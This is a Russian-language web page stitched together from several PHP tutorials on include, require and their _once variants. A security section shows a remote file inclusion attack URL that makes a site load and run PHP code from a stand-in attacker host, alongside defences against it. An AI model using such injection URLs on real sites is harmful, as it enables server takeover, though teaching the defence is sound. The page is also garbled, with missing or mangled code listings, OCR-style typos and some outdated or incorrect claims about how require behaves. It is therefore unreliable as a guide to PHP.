Что правильнее использовать — require или include? Инструкции require и require_once в PHP
Макеты страниц
13.22. Оператор require()
Принцип работы оператора require() подобен директиве препроцессора #include() в языке программирования C++. Если вы знакомы с этим языком, то освоить следующие операторы для вас не составит никакого труда, впрочем, даже если вы и не знакомы, мы постараемся более подробно описать принципы работы данных операторов. Оператор require() заменяет, вызывает содержимое файлов, путь и имя которого были указаны в блоке оператора:
require("path/filename.html");
Если параметры URL fopen_wrapper_SB PHP установлены как enabled (допустимо) (как правило, они - default (недостаточная), то вы можете также производить определение файла в операторе require(), используя URL (Uniform Resource Locator - унифицированный указатель ресурса) вместо того, чтобы использовать локальный путь к необходимому файлу в операторе require(). Например:
$url = http://my_new_adress/index.phtml;
Оператор require() не является функцией. Скорее всего его можно назвать конструкцией языка. Почему мы не можем считать этот оператор функцией:
Require() не подчинен к каким-либо управляющим структурам;
Require() не возвращает какое-либо значение, что в свою очередь делает функция.
Попытка вызова какого-либо значения из оператора require() приведет к ошибке и прерыванию дальнейшего выполнения программы.
В отличие от include require всегда производит чтение строки адреса файла, даже в том случае, когда он не выполняется. Если вам необходимо условно включить файл, используйте оператор include(). Просто условные выражения не считаются эффективными при работе с оператором require Однако если строка, на которой расположен оператор requre не будет выполнена, то тогда не будет выполнена ни одна строка кода в файле по этому адресу. Это логично, так как именно доступ к файлу в данном случае и осуществляется через оператор require().
Структуры выполнения цикла не затрагивают режима работы оператора require(), хотя код, содержащийся в конечном файле, все еще подчинен циклу. Из этого можно сделать вывод, что оператор require выполняется только один раз в отличии от include().
Следовательно/вы не можете помещать оператор require() со всеми прилагающимися к нему инструкциями в блок оператора цикла и ожидать при работе того самого цикла различного выполнения данного оператора на каждой итерации. Чтобы воспользоваться этим, предлагаем вам применить оператор include().
Когда файл работает с оператором require(), содержащийся кбд наследует переменные возможности строки, на которой requre() выполняется. Любые переменные, доступные на этой строке, будут доступны в пределах вызванного файла. Если оператор require внутри функции в пределах вызывающего файла, то весь код, содержащийся в вызванном файле, будет вести себя так, гак если бы он был определен внутри этой
В том случае, если оператор require() работает с файлом, который вызван через HTTP и использует fopen wrappers, и если адрес станции интерпретирует конечный файл как PHP-код, то в этом случае переменные могут быть переданы в оператор require(), используя URL-запрос, как метод HTTP Get. Это не то же самое. что вызов файла оператора require так как скрипт практически продолжает выполнение сценария на удаленном сервере и результаты будут потом включены в локальный сценарий:
/* не будет работать, так как не был обработан сервером*/
require("http://my_domain_name/file.txt?varone=1&vartwo=2");
/* не работать, так как имя файла "file.php?varone=1&vartwo=2"
ориентировано на локальную файловую систему */
require("file.php?varone=1&vartwo=2");
/* будет работать без ошибок */
require("http://my_domain_name/test.php?varone=1Svartwo=2");
require("file.txt");
require("file.php");
Данные примеры помогут вам наглядно разобраться со способами применения оператора require(), а также не допустить ошибок при создании программ. Далее мы рассмотрим оператор include(), подобный оператору require(), и основные принципы его работы.
Функция include() (ее аналог: inсlude_once() ) служит для того, чтобы прикреплять к PHP-коду новые модули на PHP. Предположим, информация об авторских правах занесена одной строкой в файл copyright.inc (кстати, немногие знают, что расширение .inc произошло от самого названия функции include() :
Include ("copyright.inc");
Теперь вы легко можете изменить один файл copyright.inc , чтобы отобразить изменения на всех страницах вашего сайта.
BillGates, (C)1995-2005
BillGates Ltd., 1995-2009
Более подробно о функциях включения модулей
. include() и require() - подключают и вычисляет специфицированный файл.
Эти две конструкции идентичны во всём, за исключением того, как они обрабатывают неудачное выполнение.
include() выдаёт Warning! , а require() выдаёт Fatal Error . Иначе говоря, не бойтесь использовать require() , если вам нужно, чтобы отсутствующий файл останавливал обработку страницы. include() не работает таким образом: скрипт всё равно продолжит работу.
Когда файл подключён, содержащийся в нём код наследует область видимости переменной строки, на которой возникло подключение. Любые переменные, доступные на этой строке в вызывающем файле, будут доступны в вызываемом файле, вперёд от этой точки.
Базовый пример include() :
vars.php test.php echo "A $color $fruit"; // A include "vars.php"; echo "A $color $fruit"; // A green apple ?>Базовые примеры require() :
Если подключение возникает внутри функции в вызываемом файле, то весь код, содержащийся во включаемом файле, будет работать так, как если бы он был определён внутри. Так что он будет следовать области видимости переменной.
Подключение внутри функций:
Когда файл подключается, разбор переходит из режима PHP в режим HTML в начале целевого файла и вновь продолжает после конца. Исходя из этого, любой код внутри файла назначения, который должен выполняться как PHP-код, обязан быть заключён в правильные стартовый и конечный тэги РНР.
Пример include() через HTTP
Поскольку include() и require() являются специальными конструкциями языка, вы обязаны заключить их в блок операторов, если это внутри условного блока.
Пример include() и условные блоки:
Обработка возвращает: можно выполнить оператор return() внутри подключённого файла, чтобы прервать обработку этого файла и возвратиться в скрипт, вызвавший его. Также можно возвращать значения из подключённых файлов. Вы можете принять значение вызова include как обычно.
Примеры include() и return() :
return.php noreturn.php testreturns.php$bar имеет значение 1 , поскольку подключение было успешным. Обратите внимание на отличия в примерах. Первый использует return() внутри подключённого файла, а другие - нет.
. include_once() и require_once() - включают и вычисляют специфицированный файл в процессе выполнения скрипта. Это поведение напоминает операторы include() и require() с той только разницей, что, если код из файла уже был подключён, он не будет подключён ещё раз. include_once() и require_once() должны использоваться в тех случаях, когда один и тот же файл может быть подключён и вычислен более одного раза в процессе определённого выполнения скрипта, а вы хотите иметь уверенность, что он включён точно один раз, чтобы избежать проблем с повторным определением функций, переназначениями переменных.
Примеры include_once() и require_once() :
. get_included_files - возвращает массив имён всех файлов, которые включены с использованием include() , include_once() , require() или require_once() .
. get_required_files - эта функция является псевдонимом для get_included_files() . Файлы, включённые или затребованные несколько раз, показаны в возвращаемом массиве только один раз.
Примечание : файлы, включённые с использованием директивы конфигурации auto_prepend_file , не входят в возвращаемый массив.
Пример get_included_files() :
сгенерирует на выводе:
Test1.php test2.php test3.php test4.php
. include_path string - Специфицирует список директорий, где функции require() , include() и fopen_with_path() ищут файлы. Формат напоминает системную переменную окружения PATH: список директорий, разделённых двоеточием в UNIX или точкой запятой - в Windows.
Пример UNIX include_path :
Include_path=.:/home/httpd/php-lib
Пример Windows include_path :
Include_path=".;c:\www\phplib"
Значение : по умолчанию: . (только текущая директория).
Безопасное программирование
или предотвращение include PHP-инъекций
Наиболее частой ошибкой с этой функцей является код:
в котором переменная $module передается как параметр из аресной строки вызова к скрипту (например, index.php?module=main.php ).
Ошибка кода в том, что входной параметр принимаются и используются без проверки. К содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.
Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php ), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.
Потенциально опасными в этом отношении являются функции:
eval() ,
preg_replace() (с модификатором «e»),
require_once() ,
include_once() ,
include() ,
require() ,
create_function() ,
fopen() .
Можно сделать фильтры на эту переменную, но лучшим решением этой проблемы являются следующие варианты:
Вариант 1 .
Конструкция с оператором switch , например так:
Вариант 2 . Проверять, что $module присвоено одно из допустимых значений:
PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации php.ini .
Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.
Включение больших файлов
Но при вложении в документ больших файлов, встроенная функция include может работать неудовлетворительно. И у стандартной функции нет проверки на присутствие файла, который мы собираемся вложить. У предлагаемой функции таких недостатков нет.
Function includeFile($filename) { if (file_exists($filename)) { $fd = fopen($filename, "r"); while (!feof($fd)) { $buffer = fgets($fd, 4096); echo $buffer; } fclose($fd); } else { // echo "документ не обнаружен"; } } # end of function
При разработке любого сайта и любой сложности, нужно в первую очередь брать направление на корректность написания кода. Например, если создавать весь код с многочисленными файлами на одной странице, то это приведет к путанице и большим неудобствам. А для этого нужно файлы разнести по категориям, а потом подключать их в основной код в нужных местах. Такой способ можно назвать — включаемые файлы. Это довольно простое название, но для человека, который в первый раз столкнулся с данной темой, можно и так назвать. А для того, чтобы можно было собрать все включаемые файлы в один код, нужно применить о которых написано в предыдущей статье, или использовать инструкции require и require_once о которых написано в данном тексте.
Практически инструкции require и require_once выполняют те же функции, что и инструкции include и include_once , за исключением некоторых моментов.
Синтаксис данных инструкций такой:
Require_once ‘config.php’; — файл настроек
require_once ‘header.php’; — шапка сайта
require ‘left.php’; — левый сайдбар
require ‘content.php’; — контент сайта
require ‘footer.php’; — подвал сайта
А разница в следующем. При обработке кода, PHP сначала преобразует сценарий во внутреннее представление, после чего начинается обработка кода строчка за строчкой. И если PHP находит в коде файл, включаемый инструкцией include , то он после загрузки файла полностью переключается на его выполнение, преобразует файл во внутреннее представление, а уже потом поэтапно его выполняет…
А вот инструкция require работает немного иначе. Подключенный с ее помощью файл, транслируется до выполнения сценария, другими словами, на момент обработки всего кода, этот файл уже оттранслирован!!! А отсюда и вывод — файлы подключенные инструкцией require — будут работать быстрее. И для меня например, данная инструкция предпочтительней. Но конечно и тут есть одно НО! При загрузке страницы браузером, может произойти сбой интернета и пользователь может увидеть только ту часть страницы, которая успела загрузиться. Или при каком то сбое в обработке, дальше зависшего файла обработка не пойдет. Но в web-сайте такое случается редко, так что данная инструкция все таки предпочтительней.
Чуть не забыл. Инструкция require_once — также выполняет роль для включения файла в общий код только один раз, чтобы не было повторений.
Вот и практически все, что нужно для начала знать о способе подключения файлов в общий поток написания кода. Более глубокие познания обычно приходят в процессе обучения и зависимо от потребностей, что естественно я предугадать не могу. Спасибо за внимание и извините за авторское изложение данных тем.
Пн | Вт | Ср | Чт | Пт | Сб | Вс |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
РЕКЛАМА
Инструкция include в PHP, инструкция include_once в php, включаемые файлы. При разработке простого динамического сайта, или более совершенных программ, невозможно
Структура движка сайта, из чего состоит движок сайта, панель управления сайтом, шаблонизатор. В предыдущей статье было описано о том, что
Что такое движок для сайта, как сделать движок сайта, система управления сайтом на php. Для того чтобы понять что такое
Как вы знаете, в PHP имеется 4 функции для подключения других файлов. Это include , include_once , require и require_once . Чем же они различаются и как правильно их использовать?
Для начала разберём разницу между include и require . Эти две функции различаются только реакцией на отсутствие подключаемого файла. Функция include («включить») при отсутствии указанного файла выдаст сообщение об ошибке типа E_WARNING, но выполнение программы продолжится. В отличие от неё, require («требовать») при отсутствии подключаемого файла выдаёт фатальную ошибку (E_ERROR), которая приводит к немедленной остановке выполняемого скрипта.
Таким образом, на основании знаний о том, как выполняется ваш код, вы можете использовать тот или иной оператор. Например, если это просто кусок HTML, который в целом не влияет на ход работы программы, или это какие-то второстепенные подключаемые модули, без которых остальная программа может нормально функционировать, то смело используйте include . В остальных же случаях я рекомендую использовать require . Это предотвратит возможность некорректного выполнения кода и в случае ошибки (например, подключаемый файл удалён вирусом или потерялся в процессе разработки) будет просто завершать скрипт. В одной из будущих статей я покажу вам как отслеживать абсолютно все нестандартные ситуации в коде и быть в курсе происходящего внутри сайта.
Теперь рассмотрим конструкции include_once и require_once . От простых include и require они отличаются окончанием «_once», которое предотвращает повторное подключение тех же самых файлов.
Скажем, если в вашем подключаемом файле есть описания классов или функций, то такой файл подключать повторно нельзя, поскольку он будет исполнен заново и PHP выдаст фатальную ошибку при попытке определить классы или функции с уже существующими именами. Нет сомнений, что можно построить код таким образом, чтобы повторное подключение никогда не происходило, но это лишние ограничения и лишняя работа. Поэтому функции с суффиксом «_once» полезны и нужны.
В своей практике я использую два вида файлов. Первый вид — это файлы, содержащие один или несколько классов и не содержащие кода, исполняемого «напрямую». Такие файлы всегда подключаю с помощью require_once . Второй вид — это шаблоны или куски шаблонов, содержащие HTML и немного PHP-кода. Такие файлы подключаю с помощью require , поскольку иногда один и тот же кусок шаблона может быть использован на странице несколько раз.
Я никогда не использую include и include_once , поскольку считаю отсутствие файла, который должен быть, критической ситуацией, требующей немедленного решения без каких-либо компромиссов. А если мне нужно подключать файл, наличие которого под сомнением, то я просто предварительно проверяю его наличие с помощью is_file().
Существует ещё одна фишка при использовании include. Несмотря на то, что на самом деле это не функция, а языковая конструкция, внутри подключаемого файла работает оператор return . И, стало быть, include возвращает это значение вызываемому коду. Это выглядит вот так
$ret = include ‘file.php’;
На сегодня это всё, программируйте правильно!
Операторы PHP: require(), require_once(), include_once()
Дата: 2012-10-15
Функции PHP: require(), require_once(), include(), include_once()
В прошлом уроке мы подробно разобрали работу . Напомню, что оператор include() в PHP подставляет содержание одной веб-страницы, в другую web-страницу. Но в PHP есть и другие функции, позволяющие реализовать аналогичную задачу. В частности это функции:
include_once()
require()
require_once()
Чтобы вставить содержание определенной web-страницы, достаточно в качестве аргумента (в скобках) этих функций указать путь к нужному файлу. Например, вот так:
include("file.php") или require("file.php")
Задача у всех этих функций одна и та же: вставить нужный код или текст из одного файла в другой файл. Но, все-таки, эти функции отличаются между собой. Давайте разбираться чем.
Суффикс "_once " позволяет подключить код файла для подстановки в другой файл только один раз, сколько бы вызовов не осуществлялось. Для наглядности давайте разберем простой пример. В прошлом уроке мы разобрались, что с помощью оператора include() , можно вынести шапку сайта в отдельный файл header.php , для простоты будем считать, что в этот файл мы выносим графический логотип сайта. В нужном месте web-страницы (в данном случае на месте шапки сайта) прописываем код Листинга 1 .
Листинг 1.
То соответственно и логотип сайта тоже выведется два раза, примерно вот таким образом:
Согласитесь, смотрится не очень красиво, правда? Получается, что оператор include() два раза вытаскивает из папки blocks файл header.php и два раза подставляется его на место шапки сайта.
А вообще, во включаемом файле могут быть такие функции, которые при их добавлении в исходный файл, могут выдавать ошибки и ваша веб-страница вообще может не загрузиться.
На больших сайтах очень легко запутаться, где и какой файл Вы включали и можно ли включить его повторно, а это может привести к ошибке. Поэтому придумали приставку "_once " к функциям include и require , которая включает содержание файла в другую web-страницу только один раз .
Чем функция include() отличается от require()
Теперь давайте поговорим, чем функция include() отличается от функции require() . В самой работе у них отличий нет. И та и другая функции включают содержание одного файла в другой. Но отличие у них есть и заключается оно в способе реагирования на ситуацию, когда файла, который мы подключаем, не оказывается на месте.
Давайте вернемся к предыдущему примеру код Листинга 1 . У нас есть следующий код:
Include ("blocks/header.php"); |
Давайте попробуем удалить файл header.php , который мы собственно и подключаем, например файл поврежден или случайно был удален с севера.
Обновляем тестовый файл и видим вот такую ошибку:
Как Вы видите, появилось сообщение о том, что в директории (папке) blocks не найден файл header.php , но программа дальше все равно выполняется и остальная часть web-страницы сайта отображается нормально.
А если мы напишем код (Листинг 3 ) используя функцию require() :
Листинга 3 .
Require ("blocks/header.php"); |
То у нас будет выведено только одно сообщение об ошибке , и программа дальше выполняться не будет , и Вы увидете только вот такое сообщение.